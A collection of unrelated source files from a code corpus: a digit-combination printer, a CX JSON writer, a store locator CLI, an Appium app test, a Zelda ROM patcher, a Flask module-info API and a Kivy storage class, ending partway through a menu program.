+{"seq_id":"332615696","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n#  liczby 2-3.py\n\n\ndef liczby2():\n    \"\"\"\n    Drukuje wszystkie liczby dwucyfrowe\n    o niepowtarzających się cyfrach\n    oraz zwraca ilość takich liczb\n    nie drukujemy: 11, 22, 33, 44, itd.\n    \"\"\"\n    ile = 0  # ilość liczb\n\n    for i in range(1, 10):  # pętla dziesiątek\n        for j in range(0, 10):  # pętla jedności\n            if i != j:\n                print(\"{}{} \".format(i, j), end=\"\")\n                ile += 1\n    return ile\n\n\ndef liczby3():\n    \"\"\"\n    Drukuje wszystkie liczby trzycyfrowe\n    o niepowtarzających się cyfrach\n    oraz zwraca ilość takich liczb\n    nie drukujemy: 111, 222, 112, 323, itd.\n    \"\"\"\n    ile = 0;  # ilość liczb\n\n    for i in range(1, 10):  # pętla setek\n        for j in range(0, 10):  # pętla dziesiątek\n            for k in range(0, 10): # pętla jedności\n                if i!=j and i!=k and j!=k:\n                    print(\"{}{}{} \".format(i, j, k), end=\"\")\n                    ile += 1\n    return ile\n\n\ndef main(args):\n    print(\"Liczb 2-cyfrowych:\", liczby2())\n    print(\"Liczb 3-cyfrowych:\", liczby3())\n    return 0\n\nif __name__ == '__main__':\n    import sys\n    sys.exit(main(sys.argv))\n","sub_path":"python/liczby-23.py","file_name":"liczby-23.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"142734993","text":"import json\nimport decimal\nimport collections\nfrom cxio.cx_constants import CxConstants\n\n\nclass CxWriter(object):\n\n    def __init__(self, out):\n        if out is None:\n            raise AssertionError('output stream must not be none')\n        self.__out = out\n        self.__pre_meta_data = []\n        self.__post_meta_data = []\n        self.__aspect_element_counts = {}\n        self.__started = False\n        self.__ended = False\n        self.__fragment_started = False\n        self.__first = True\n        self.__in_fragment = False\n\n    def add_pre_meta_data(self, pre_meta_data):\n        if pre_meta_data is None:\n            raise AssertionError('pre meta data must not be none')\n        if self.__ended:\n            raise IOError('already ended')\n        if self.__started:\n            raise IOError('already started')\n        self.__add_meta_data(self.__pre_meta_data, pre_meta_data)\n\n    def add_post_meta_data(self, post_meta_data):\n        if post_meta_data is None:\n            raise AssertionError('post meta data must not be none')\n        if self.__ended:\n            raise IOError('already ended')\n        self.__add_meta_data(self.__post_meta_data, post_meta_data)\n\n    def start(self):\n        if self.__ended:\n            raise IOError('already ended')\n        if self.__started:\n            raise IOError('already started')\n        self.__started = True\n        self.__out.write('[')\n        if len(self.__pre_meta_data) > 0:\n            self.__write_meta_data(self.__pre_meta_data)\n\n    def end(self):\n        if self.__ended:\n            raise IOError('already ended')\n        if not self.__started:\n            raise IOError('not started')\n        if self.__fragment_started:\n            raise IOError('fragment not ended')\n        if len(self.__post_meta_data) > 0:\n            self.__write_meta_data(self.__post_meta_data)\n        self.__ended = True\n        self.__started = False\n        self.__out.write('\\n')\n        self.__out.write(']')\n\n    def start_aspect_fragment(self, aspect_name):\n        if aspect_name is None:\n            raise AssertionError('aspect name data must not be none')\n        if self.__ended:\n            raise IOError('already ended')\n        if not self.__started:\n            raise IOError('not started')\n        if self.__fragment_started:\n            raise IOError('fragment already started')\n        self.__fragment_started = True\n        if self.__first:\n            self.__first = False\n        else:\n            self.__out.write(', ')\n        self.__out.write('\\n')\n        self.__out.write(' { ')\n        self.__out.write('\"')\n        self.__out.write(aspect_name)\n        self.__out.write('\"')\n        self.__out.write(':')\n        self.__out.write(' ')\n        self.__out.write('[')\n        self.__out.write(' ')\n        self.__out.write('\\n')\n\n    def end_aspect_fragment(self):\n        if self.__ended:\n            raise IOError('already ended')\n        if not self.__fragment_started:\n            raise IOError('fragment not started')\n        self.__fragment_started = False\n        self.__out.write(' ')\n        self.__out.write(']')\n        self.__out.write('\\n')\n        self.__out.write(' }')\n        self.__in_fragment = False\n\n    def write_aspect_element(self, element):\n        if self.__ended:\n            raise IOError('already ended')\n        if not self.__fragment_started:\n            raise IOError('fragment not started')\n        if self.__in_fragment is True:\n            self.__out.write(', ')\n            self.__out.write('\\n')\n        self.__out.write('  ')\n        self.__out.write(self.__aspect_element_to_json(element))\n        self.__in_fragment = True\n        my_name = element.get_name()\n        if my_name not in self.__aspect_element_counts:\n            self.__aspect_element_counts[my_name] = 1\n        else:\n            self.__aspect_element_counts[my_name] += 1\n\n    def __write_meta_data(self, meta_data):\n        self.start_aspect_fragment(CxConstants.META_DATA)\n        for e in meta_data:\n            self.write_aspect_element(e)\n        self.end_aspect_fragment()\n\n    def get_aspect_element_counts(self):\n        return self.__aspect_element_counts\n\n    @staticmethod\n    def __aspect_element_to_json(aspect_element):\n        return json.dumps(aspect_element.get_data(), cls=DecimalEncoder)\n\n    @staticmethod\n    def __add_meta_data(meta_data, add_me):\n        if isinstance(add_me, collections.Iterable):\n            meta_data.extend(add_me)\n        else:\n            meta_data.append(add_me)\n\n\nclass DecimalEncoder(json.JSONEncoder):\n    def default(self, o):\n        if isinstance(o, decimal.Decimal):\n            return float(o)\n        return super(DecimalEncoder, self).default(o)\n\n\n","sub_path":"cxio/cx_writer.py","file_name":"cx_writer.py","file_ext":"py","file_size_in_byte":4691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"281126255","text":"#!/usr/bin/env python3\n\nimport json\nimport argparse\nimport logging\n\nfrom store import search_store\n\n\ndef get_arguments():\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument(\"--zip\", type=int, help=\"Find nearest store to this zip code. If there are multiple best-matches, return the first.\")\n\tparser.add_argument(\"--address\", type=str, help=\"Find nearest store to this address. If there are multiple best-matches, return the first.\")\n\tparser.add_argument(\"--output\", type=str, help=\"Output in human-readable text, or in JSON (e.g. machine-readable) [default: text]\", default='text')\n\tparser.add_argument(\"--units\", type=str, help=\"Display units in miles or kilometers [default: mi]\", default='mi')\n\targs = parser.parse_args()\n\n\tif args.zip is None and args.address is None:\n\t\tlogging.error(\"You need to request at least one location parameter: zip or address.\")\n\t\treturn None\n\n\tif args.units not in [\"mi\", \"km\"]:\n\t\tlogging.error(\"Please, specify correct unit formate. Available formates: 'km' and 'mi'.\")\n\t\treturn None\n\n\tif args.output not in [\"text\", \"json\"]:\n\t\tlogging.error(\"Please, specify correct output formate. Available formates: 'text' and 'json'.\")\n\t\treturn None\n\n\treturn args\n\n\ndef main():\n\targs = get_arguments()\n\trecord = search_store(args.address or args.zip, args.google_api_key)\n\tif not record:\n\t\treturn\n\n\tprint_output(record, args.output, args.units)\n\n# function for printing the output in requested formate\n# default: text Here's the nearest store details:\n# \t\t\t\t\tstore name: San Francisco West, \n# \t\t\t\t\tstore address: SEC Geary Blvd. and Masonic Avenue 2675 Geary Blvd San Francisco CA 94118-3400,\n# \t\t\t\t\tdistance from requested address: 1.449589mi\n# optional: json {\"store_name\": \"San Francisco West\", \"store_location\": \"SEC Geary Blvd. and Masonic Avenue\", \n# \t\t\t\t\t\"address\": \"2675 Geary Blvd\", \"city\": \"San Francisco\", \"state\": \"CA\", \"zip_code\": \"94118-3400\", \n#\t\t\t\t\t\"latitude\": \"37.7820964\", \"longitude\": \"-122.4464697\", \"county\": \"San Francisco County\", \n#\t\t\t\t\t\"distance\": 1.4495892592265038}\ndef print_output(record, output, units):\n\t[column_names, distance, store] = record\n\t# coeficient to convert km to mi\n\tkm_to_miles = 0.621371\n\tdistance = distance if units == \"km\" else distance * km_to_miles\n\tif output == 'text':\n\t\tprint('Here\\'s the nearest store details:\\n store name: %s, \\n store address: %s, \\\n\t\t\t\\n distance from requested address: %f%s' %(store[0], ' '.join(store[1:6]), distance, units))\n\telse:\n\t\tresult = {column_names[i].lower().replace(' ', '_') : store[i] for i in range(len(column_names))}\n\t\tresult['distance'] = distance\n\t\tresult['units'] = units\n\t\tresult_json = json.dumps(result)\n\t\tprint (result_json)\n\n\nif __name__== \"__main__\":\n\tmain()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"446801063","text":"# -*- coding:utf-8 -\n\nfrom appium import webdriver\n\nimport time\nfrom Appium_ import testFordata\n\nimport os\n\n\n#获取app的相关参数，测试准备\ndesired_caps = testFordata.readyForTest()\n\n\ndef test():\n    driver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)  # 启动Remote RPC\n    \n    try:\n        \n        time.sleep(5) #确保休眠，跳转到那个界面\n        driver.find_element_by_id('com.pingan.mifi:id/tv_enjoy').click()\n        driver.find_element_by_id('com.pingan.mifi:id/edittext').send_keys('17091640310')\n        time.sleep(1)\n        driver.find_element_by_id('com.pingan.mifi:id/et_password').send_keys('3507')\n        \n        os.system('adb shell input keyevent 4')#返回键，退出虚拟键盘\n        \n        time.sleep(2)\n        driver.find_element_by_id('com.pingan.mifi:id/btn_fast_login').click()\n        # textfields.send_keys('17091640310')\n        \n        time.sleep(2)\n        os.system('adb shell input keyevent 4')  # 返回键，退出虚拟键盘\n        #切换音频\n        driver.find_element_by_id('com.pingan.mifi:id/tv_music').click()\n        time.sleep(2)\n        # 切换到服务\n        driver.find_element_by_id('com.pingan.mifi:id/tv_redPaper').click()\n        time.sleep(2)\n        # 切换我的\n        driver.find_element_by_id('com.pingan.mifi:id/tv_mine').click()\n        \n    \n    except Exception as e:\n        testFordata.logger.cri(e)\n        testFordata.logger.cri('Appium出现错误！！')\n        driver.quit()\n    \n\ntest()","sub_path":"Appium_/testMIFI.py","file_name":"testMIFI.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"474232982","text":"import itertools\r\nfrom .exceptions import alttprException\r\n\r\n\r\ndef apply(rom, patches):\r\n    \"\"\"Applies a patch, which is a list of dictionaries\r\n\r\n    Arguments:\r\n        rom {list} -- A list of bytes depicting the ROM data to be patched.\r\n        patches {list} -- A list of dictionaries that depict of set of patches to be applied to the ROM.\r\n\r\n    Returns:\r\n        list -- a list of bytes depicitng the patched rom\r\n    \"\"\"\r\n    for patch in patches:\r\n        offset = int(list(patch.keys())[0])\r\n        patch_values = list(patch.values())[0]\r\n        for idx, value in enumerate(patch_values):\r\n            rom[offset + idx] = value\r\n    return rom\r\n\r\ndef heart_speed(speed='half'):\r\n    \"\"\"Set the low-health warning beep interval.\r\n\r\n    Keyword Arguments:\r\n        speed {str} -- Chose the speed at which the low health warning beeps.\r\n            Options are 'off', 'double', 'normal', 'half', and 'quarter'. (default: {'half'})\r\n\r\n    Returns:\r\n        list -- a list of dictionaries indicating which ROM address offsets to write and what to write to them\r\n    \"\"\"\r\n    if speed is None:\r\n        speed = 'normal'\r\n    sbyte = {\r\n        'off': 0,\r\n        'double': 16,\r\n        'normal': 32,\r\n        'half': 64,\r\n        'quarter': 128,\r\n    }\r\n    patch = [{\r\n        '1572915': [sbyte[speed]]\r\n    }]\r\n    return patch\r\n\r\ndef heart_color(color='red'):\r\n    \"\"\"Set the color of the hearts on the player's HUD.\r\n\r\n    Keyword Arguments:\r\n        color {str} -- The heart color.  Options are 'red', 'blue', 'green', and 'yellow' (default: {'red'})\r\n\r\n    Returns:\r\n        list -- a list of dictionaries indicating which ROM address offsets to write and what to write to them\r\n    \"\"\"\r\n\r\n    if color is None:\r\n        color = 'red'\r\n    cbyte = {\r\n        'blue': [44, 13],\r\n        'green': [60, 25],\r\n        'yellow': [40, 9],\r\n        'red': [36, 5],\r\n    }\r\n    byte = cbyte[color][0]\r\n    file_byte = cbyte[color][1]\r\n    patch = [\r\n        {'457246': [byte]},\r\n        {'457248': [byte]},\r\n        {'457250': [byte]},\r\n        {'457252': [byte]},\r\n        {'457254': [byte]},\r\n        {'457256': [byte]},\r\n        {'457258': [byte]},\r\n        {'457260': [byte]},\r\n        {'457262': [byte]},\r\n        {'457264': [byte]},\r\n        {'415073': [file_byte]},\r\n    ]\r\n    return patch\r\n\r\ndef music(music=True):\r\n    \"\"\"Enables, or disables, the in-game music.  Useful if you want to use an MSU-1 soundtrack instead.\r\n\r\n    Keyword Arguments:\r\n        music {bool} -- If true, music is enabled.  If false, the music id disabled. (default: {True})\r\n\r\n    Returns:\r\n        list -- a list of dictionaries indicating which ROM address offsets to write and what to write to them\r\n    \"\"\"\r\n\r\n    return [{'1573402': [0 if music else 1]}]\r\n\r\n\r\ndef quickswap(quickswap=False):\r\n    return [{'1572939': [1 if quickswap else 0]}]\r\n\r\n\r\ndef menu_speed(speed='normal'):\r\n    if speed is None:\r\n        speed = 'normal'\r\n    sbyte = {\r\n        'instant': 0xE8,\r\n        'fast': 0x10,\r\n        'normal': 0x08,\r\n        'slow': 0x04\r\n    }\r\n    patch = [\r\n        {'1572936': [sbyte[speed]]},\r\n        {'449946': [0x20 if menu_speed == 'instant' else 0x11]},\r\n        {'450346': [0x20 if menu_speed == 'instant' else 0x12]},\r\n        {'450793': [0x20 if menu_speed == 'instant' else 0x12]}\r\n        ]\r\n    return patch\r\n\r\ndef sprite(spr):\r\n    \"\"\"Creates a patch for to replace Link's sprite with the contents of a XSPR or SPR file.\r\n\r\n    Arguments:\r\n        spr {list} -- a list of bytes that depicts a ZSPR or SPR file\r\n\r\n    Returns:\r\n        list -- a list of dictionaries indicating which ROM address offsets to write and what to write to them\r\n    \"\"\"\r\n\r\n    if spr[:4] == [90, 83, 80, 82]:\r\n        # stolen from VT's code\r\n        gfx_offset = spr[12] << 24 | spr[11] << 16 | spr[10] << 8 | spr[9]\r\n        palette_offset = spr[18] << 24 | spr[17] << 16 | spr[16] << 8 | spr[15]\r\n        patch = [\r\n            {'524288': spr[gfx_offset:gfx_offset + 28671]},\r\n            {'905992': spr[palette_offset:palette_offset + 120]},\r\n            {'912885': spr[palette_offset + 120:palette_offset + 120 + 3]}\r\n        ]\r\n    # Else treat it like a SPR file instead\r\n    else:\r\n        patch = [\r\n            {'524288': spr[0:28671]},\r\n            {'905992': spr[28672:28791]},\r\n            {\r\n                '912885': [\r\n                    spr[28726],\r\n                    spr[28727],\r\n                    spr[28756],\r\n                    spr[28757],\r\n                ]\r\n            }\r\n        ]\r\n    return patch\r\n\r\ndef checksum(rom):\r\n    \"\"\"Writes a patch that fixes a ROM's checksum.  This should be the last patch applied to a ROM before it is written.\r\n\r\n    Arguments:\r\n        rom {list} -- a list of bytes depicitng the rom\r\n\r\n    Returns:\r\n            list -- a list of dictionaries indicating which ROM address offsets to write and what to write to them\r\n    \"\"\"\r\n\r\n    sum_of_bytes = sum(rom[:32731]) + sum(rom[32736:])\r\n    checksum = (sum_of_bytes + 510) & 65535\r\n    inverse = checksum ^ 65535\r\n    patch = [\r\n        {\r\n            '32732': [\r\n                inverse & 255,\r\n                inverse >> 8,\r\n                checksum & 255,\r\n                checksum >> 8,\r\n            ]\r\n        }\r\n    ]\r\n    return patch\r\n\r\ndef expand(rom, newlenmb):\r\n    \"\"\"Expands the byte list of a ROM to the specified number of megabytes, filling in the new space with zeroes.\r\n\r\n    Arguments:\r\n        rom {list} -- a list of bytes depicitng the rom\r\n\r\n    Keyword Arguments:\r\n        newlenmb {int} -- The size of the ROM should be, in megabytes.\r\n\r\n    Raises:\r\n        alttprException -- Raised if the new length is shorter than the current size of the byte list.\r\n\r\n    Returns:\r\n        list -- a list of bytes depicitng the rom\r\n    \"\"\"\r\n\r\n    newlen = int(newlenmb) * 1024 * 1024\r\n    if len(rom) > newlen:\r\n        raise alttprException('ROM is already larger than {bytes}'.format(\r\n            bytes=newlen\r\n        ))\r\n    diff = len(rom) - newlen\r\n    if diff > 0:\r\n        rom[newlen] = 0\r\n    else:\r\n        rom.extend(itertools.repeat(0, -diff))\r\n        rom.append(0)\r\n    return rom\r\n","sub_path":"pyz3r/patch.py","file_name":"patch.py","file_ext":"py","file_size_in_byte":6114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"491437796","text":"\n# -*- coding: utf-8 -*-\nimport os\nimport sys\n\nfrom flask import request\nfrom sqlalchemy import create_engine\n\nfrom AUSYS.log import log\n\nfrom AUUSE.get_user_info_from_key import get_user_info_from_key\nfrom AUUSE.set_user_API_req import set_user_API_req\n\nfrom etc.set_log import set_log\nfrom etc.set_send import set_send\nfrom etc.check_text import check_text\nfrom config.config_set import db_data\n\n# 인식모듈 게시글을 조회하는 함수\n# user_key : API 를 호출하는 사용자의 키\n# log_request : 요청코드(인식모듈 상세정보 조회, 인식모듈 수정 시 정보 호출)\n# module_index : 정보를 조회하려는 인식모듈 게시글의 인덱스\ndef get_module_info(user_key, log_request, module_index):\n\n    # 로그를 남기기 위한 값\n    # user_ip : API 를 호출한 사용자의 ip\n    # user_id : API 를 호출한 사용자의 id\n    user_ip = request.environ.get('HTTP_X_REAL_IP', request.remote_addr)\n    user_id = None\n    # 파이썬의 logging 함수를 불러오는 함수\n    logger = set_log()\n    # 받아온 user_ip, user_id 를 로그에 추가\n    logger_data = {'clientip': user_ip, 'user_id': user_id}\n    logger.info(\"Request get_module_info\", extra=logger_data)\n\n    request_log = \"get_module_info\"\n\n    # 사용자의 마지막 API 변경 함수\n    set_user_API_req(user_key, request_log)\n    logger.info(\"Request set_user_API_req\", extra=logger_data)\n\n    # DB 에 로그를 남기기 위해 입력값, 요청값, api, function 명 등을 정의\n    input = {}\n    input['user_key'] = user_key\n    input['log_request'] = log_request\n    input['module_index'] = module_index\n\n    api = os.path.split(__file__)[1]\n    function = sys._getframe().f_code.co_name\n\n    input_list = [user_key, log_request, module_index]\n\n    # 입력값에서 디비 또는 API 파라미터에 입력할 수 없는 특수문자가 포함되어 있는 경우\n    for input_data in input_list:\n        status = check_text(\"input_db\", input_data)\n        if status == \"400\":\n            # user_id, log_status, log_request, api, function, input, output, message, success_flag, display_flag\n            user_id = None\n            log_status = \"ERROR\"\n            output = \"\"\n            message = \"Input data include special character\"\n            success_flag = \"N\"\n\n            # log : DB 에 로그를 저장하는 함수\n            # log_db : DB 에 저장한 로그값\n            log_db = log(user_id, log_status, log_request, api, function, input, output, message, success_flag)\n            logger.error(message, extra=logger_data)\n            logger.error(log_db, extra=logger_data)\n\n            data = []\n            result = \"fail\"\n            status = \"404\"\n\n            # set_send : API 출력값 정렬 함수(아이디, 비밀번호 변수명 변경, 날짜 정보 형태 타입 변경 등)\n            send = set_send(data, result, status)\n            logger.error(send, extra=logger_data)\n\n            return send\n\n    # 입력받은 사용자 키를 이용하여 사용자의 아이디, 권한 조회\n    send = get_user_info_from_key(user_key)\n    logger.info(\"Get user information\", extra=logger_data)\n\n    # 접속해있는 사용자가 아닐 경우\n    if send['status'] == \"201\":\n        # user_id, log_status, log_request, api, function, input, output, message, success_flag, display_flag\n        user_id = None\n        log_status = \"ERROR\"\n        output = \"\"\n        message = \"User need login\"\n        success_flag = \"N\"\n\n        # log : DB 에 로그를 저장하는 함수\n        # log_db : DB 에 저장한 로그값\n        log_db = log(user_id, log_status, log_request, api, function, input, output, message, success_flag)\n        logger.error(message, extra=logger_data)\n        logger.error(log_db, extra=logger_data)\n\n        data = []\n        result = \"fail\"\n        status = \"400\"\n\n        # set_send : API 출력값 정렬 함수(아이디, 비밀번호 변수명 변경, 날짜 정보 형태 타입 변경 등)\n        send = set_send(data, result, status)\n        logger.error(send, extra=logger_data)\n\n        return send\n\n    # 접속 여부 확인 도중 DB 에러가 난 경우\n    elif send['status'] == \"400\":\n        # user_id, log_status, log_request, api, function, input, output, message, success_flag, display_flag\n        user_id = None\n        log_status = \"EXCEPTION\"\n        output = \"\"\n        message = send['data'][0]['error']\n        success_flag = \"N\"\n\n        # log : DB 에 로그를 저장하는 함수\n        # log_db : DB 에 저장한 로그값\n        log_db = log(user_id, log_status, log_request, api, function, input, output, message, success_flag)\n        logger.error(message, extra=logger_data)\n        logger.error(log_db, extra=logger_data)\n\n        data = []\n        result = \"fail\"\n        status = \"401\"\n\n        # set_send : API 출력값 정렬 함수(아이디, 비밀번호 변수명 변경, 날짜 정보 형태 타입 변경 등)\n        send = set_send(data, result, status)\n        logger.error(send, extra=logger_data)\n\n        return send\n\n    # 현재 접속 중인 사용자일 경우\n    elif send['status'] == \"200\":\n        # 수정을 요청한 사용자와 작성자가 동일한지 확인\n\n        # API 를 호출한 사용자 아이디\n        user_id = send['data'][0]['result_data_1']\n\n        engine = create_engine(db_data)\n        connection = engine.raw_connection()\n        cursor = connection.cursor()\n\n        # 인식모듈 상세정보 조회하는 프로시저 호출\n        try:\n            # 작성자인지 판단하기 위해 조회하는 것 이므로 조회수 증가하지 않음\n            count_click = \"N\"\n            cursor.callproc('SP_KEYM_GET_MODULE_DETAILS_INFO', [module_index, count_click])\n\n            column_names_list = [x[0] for x in cursor.description]\n\n            result_module_info = []\n\n            for row in cursor.fetchall():\n                result_module_info.append(dict(zip(column_names_list, row)))\n\n            # 입력한 인덱스에 해당하는 인식모듈 정보가 존재하지 않을 경우(삭제된 인식모듈을 호출한 경우)\n            if not result_module_info:\n                # user_id, log_status, log_request, api, function, input, output, message, success_flag, display_flag\n                user_id = None\n                log_status = \"ERROR\"\n                output = \"\"\n                message = \"Module post does not exist\"\n                success_flag = \"N\"\n\n                # log : DB 에 로그를 저장하는 함수\n                # log_db : DB 에 저장한 로그값\n                log_db = log(user_id, log_status, log_request, api, function, input, output, message,\n                             success_flag)\n                logger.error(message, extra=logger_data)\n                logger.error(log_db, extra=logger_data)\n\n                data = []\n                result = \"fail\"\n                status = \"405\"\n\n                # set_send : API 출력값 정렬 함수(아이디, 비밀번호 변수명 변경, 날짜 정보 형태 타입 변경 등)\n                send = set_send(data, result, status)\n                logger.error(send, extra=logger_data)\n\n                return send\n\n            # 초반에 None 으로 설정해뒀던 파일은 N 으로 바꾸어 출력\n            for module_info in result_module_info:\n                if module_info['FILE_EXIST_FLAG'] is None:\n                    module_info['FILE_EXIST_FLAG'] = \"N\"\n\n            # 인식모듈을 등록한 사용자 ID\n            user_id_module = result_module_info[0]['FK_KMMITN_MODULEINFO']\n            logger.info(\"Verify that the user and author match\", extra=logger_data)\n\n            # 작성자가 동일한지 확인\n            if user_id != user_id_module:\n                logger.info(\"User and author do not match\", extra=logger_data)\n                id_equal_flag = \"N\"\n            else:\n                logger.info(\"User and author match\", extra=logger_data)\n                id_equal_flag = \"Y\"\n\n            # 인식모듈을 조회하려는 사용자의 권한 리스트\n            user_auth_list = send['data'][0]['AUTH']\n\n            request_auth = \"\"\n            # 인식모듈 조회 'LGMOD0001'\n            if log_request == \"LGMOD0001\":\n                request_auth = 'AUMOD0001'\n                count_click = \"Y\"\n            # 인식모듈 수정 'LGMOD0003'\n            elif log_request == \"LGMOD0003\":\n                request_auth = 'AUMOD0003'\n                count_click = \"N\"\n\n            auth_exist_flag = \"\"\n            logger.info(\"Check authority\", extra=logger_data)\n            # 인식모듈 조회 또는 수정 권한 조회\n            for auth in user_auth_list:\n                if auth == request_auth:\n                    logger.info(\"Authority exists\", extra=logger_data)\n                    auth_exist_flag = \"Y\"\n                    break\n                else:\n                    auth_exist_flag = \"N\"\n\n            # 인식모듈 조회를 요청했을 경우 권한이 없으면 조회 불가\n            if log_request == \"LGMOD0001\":\n                if auth_exist_flag == \"N\":\n\n                    # user_id, log_status, log_request, api, function, input, output, message, success_flag, display_flag\n                    user_id = None\n                    log_status = \"ERROR\"\n                    output = \"\"\n                    message = \"You do not have permission\"\n                    success_flag = \"N\"\n\n                    # log : DB 에 로그를 저장하는 함수\n                    # log_db : DB 에 저장한 로그값\n                    log_db = log(user_id, log_status, log_request, api, function, input, output, message, success_flag)\n                    logger.error(message, extra=logger_data)\n                    logger.error(log_db, extra=logger_data)\n\n                    data = []\n                    result = \"fail\"\n                    status = \"402\"\n\n                    # set_send : API 출력값 정렬 함수(아이디, 비밀번호 변수명 변경, 날짜 정보 형태 타입 변경 등)\n                    send = set_send(data, result, status)\n                    logger.error(send, extra=logger_data)\n\n                    return send\n\n                # 자격이 있을 경우 조회수 증가\n                else:\n                    # 조회수 증가 후 증가된 값을 호출\n                    cursor.callproc('SP_KEYM_GET_MODULE_DETAILS_INFO', [module_index, count_click])\n\n                    column_names_list = [x[0] for x in cursor.description]\n\n                    result_module_info = []\n\n                    for row in cursor.fetchall():\n                        result_module_info.append(dict(zip(column_names_list, row)))\n\n            # 인식모듈 수정을 요청헀을 경우 작성자도 아니고 권한도 없을 경우 조회 불가(택1)\n            elif log_request == \"LGMOD0003\":\n                if id_equal_flag == \"N\" and auth_exist_flag == \"N\":\n                    # user_id, log_status, log_request, api, function, input, output, message, success_flag, display_flag\n                    user_id = None\n                    log_status = \"ERROR\"\n                    output = \"\"\n                    message = \"You do not have permission\"\n                    success_flag = \"N\"\n\n                    # log : DB 에 로그를 저장하는 함수\n                    # log_db : DB 에 저장한 로그값\n                    log_db = log(user_id, log_status, log_request, api, function, input, output, message, success_flag)\n                    logger.error(message, extra=logger_data)\n                    logger.error(log_db, extra=logger_data)\n\n                    data = []\n                    result = \"fail\"\n                    status = \"402\"\n\n                    # set_send : API 출력값 정렬 함수(아이디, 비밀번호 변수명 변경, 날짜 정보 형태 타입 변경 등)\n                    send = set_send(data, result, status)\n                    logger.error(send, extra=logger_data)\n\n                    return send\n\n            result_module_info[0]['id_equal_flag'] = id_equal_flag\n\n            data = result_module_info\n\n            # user_id, log_status, log_request, api, function, input, output, message, success_flag, display_flag\n            user_id = None\n            log_status = \"REQUEST\"\n            output = data\n            message = \"get_module_info success\"\n            success_flag = \"Y\"\n\n            # log : DB 에 로그를 저장하는 함수\n            # log_db : DB 에 저장한 로그값\n            log_db = log(user_id, log_status, log_request, api, function, input, output, message, success_flag)\n            logger.info(message, extra=logger_data)\n            logger.debug(log_db, extra=logger_data)\n\n            result = \"success\"\n            status = \"200\"\n\n            # set_send : API 출력값 정렬 함수(아이디, 비밀번호 변수명 변경, 날짜 정보 형태 타입 변경 등)\n            send = set_send(data, result, status)\n            logger.debug(send, extra=logger_data)\n\n            return send\n\n        except Exception as e:\n            print(\"error type : \", type(e))\n            print(\"error : \", e)\n\n            # user_id, log_status, log_request, api, function, input, output, message, success_flag, display_flag\n            user_id = None\n            log_status = \"EXCEPTION\"\n            output = \"\"\n            message = \"exception error\"\n            success_flag = \"Y\"\n\n            # log : DB 에 로그를 저장하는 함수\n            # log_db : DB 에 저장한 로그값\n            log_db = log(user_id, log_status, log_request, api, function, input, output, message, success_flag)\n            logger.error(message, extra=logger_data)\n            logger.error(log_db, extra=logger_data)\n\n            data = []\n            status = '403'\n            result = \"fail\"\n\n            # set_send : API 출력값 정렬 함수(아이디, 비밀번호 변수명 변경, 날짜 정보 형태 타입 변경 등)\n            send = set_send(data, result, status)\n            logger.error(send, extra=logger_data)\n\n            return send\n\n        finally:\n            connection.close()","sub_path":"AUMOD/get_module_info.py","file_name":"get_module_info.py","file_ext":"py","file_size_in_byte":14176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"174776312","text":"from kivy.event import EventDispatcher\nfrom kivy.properties import ListProperty\nfrom kivy.storage.jsonstore import JsonStore\n\n\nclass Storage(EventDispatcher):\n\n    store = ListProperty()\n    json_store = JsonStore('storage.json')\n\n    instants = [\n        'Drink',\n        'Flush',\n        'Washing Clothes',\n        'Other'\n    ]\n\n    quantity_based = [\n        'Washing Dishes',\n        'Washing Clothes (manually)',\n        'Watering Plants'\n    ]\n\n    time_based = [\n        'Showering'\n    ]\n\n    def __init__(self):\n        for key in self.json_store.keys():\n            entity = self.json_store.get(key)\n            self.store.append(entity)\n\n\nstorage = Storage()\n","sub_path":"storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"27"}
+{"seq_id":"256788251","text":"from Manager import Manager\n\n\ndef start():\n    exit = True\n\n    while exit:\n\n        menu()\n        option = get_option()\n        exit = execute_menu(option)\n\n\ndef menu():\n    print(\"____________Menu principal____________\\n\")\n    print(\"1. Agregar datos en una estructura\\n\")\n    print(\"2. Mover datos en una estructura\\n\")\n    print(\"3. Eliminar datos en una estructura\\n\")\n    print(\"4. Mostrar datos de una estructura\\n\")\n    print(\"0. Salir\\n\")\n    print(\"______________________________________\\n\")\n\n\ndef get_option():\n\n    option = input(\"Digite una opcion: \")\n\n    return option\n\n\ndef execute_menu(option):\n    exit = True\n    operation = \"\"\n\n    if option == \"1\":\n        operation = \"Add\"\n        add_move_delete_show_menu(operation)\n        option = get_option()\n        execute_add_move_delete_show(option, operation)\n\n    elif option == \"2\":\n\n        operation = \"Move\"\n        add_move_delete_show_menu(operation)\n        option = get_option()\n        execute_add_move_delete_show(option, operation)\n\n    elif option == \"3\":\n\n        operation = \"Delete\"\n        add_move_delete_show_menu(operation)\n        option = get_option()\n        execute_add_move_delete_show(option, operation)\n\n    elif option == \"4\":\n\n        operation = \"Show\"\n        add_move_delete_show_menu(operation)\n        option = get_option()\n        execute_add_move_delete_show(option, operation)\n\n    elif option == \"0\":\n\n        exit = False\n        print(\"Gracias...\")\n\n    else:\n        print(\"*Opcion invalida*\")\n\n    return exit\n\n\ndef add_move_delete_show_menu(operation):\n    operation = get_ES_name(operation)\n\n    print(\"____________\" + operation + \" datos____________\\n\")\n    print(\"1. En una lista\\n\")\n    print(\"2. En una pila\\n\")\n    print(\"3. En una cola\\n\")\n    print(\"4. En un arbol binario\\n\")\n    print(\"5. En un arbol AVL\\n\")\n    print(\"0. <-\\n\")\n    print(\"______________________________________\")\n\n\ndef get_ES_name(operation):\n    if operation == \"Add\":\n        return \"Agregar\"\n    elif operation == \"Move\":\n        return \"Mover\"\n    elif operation == 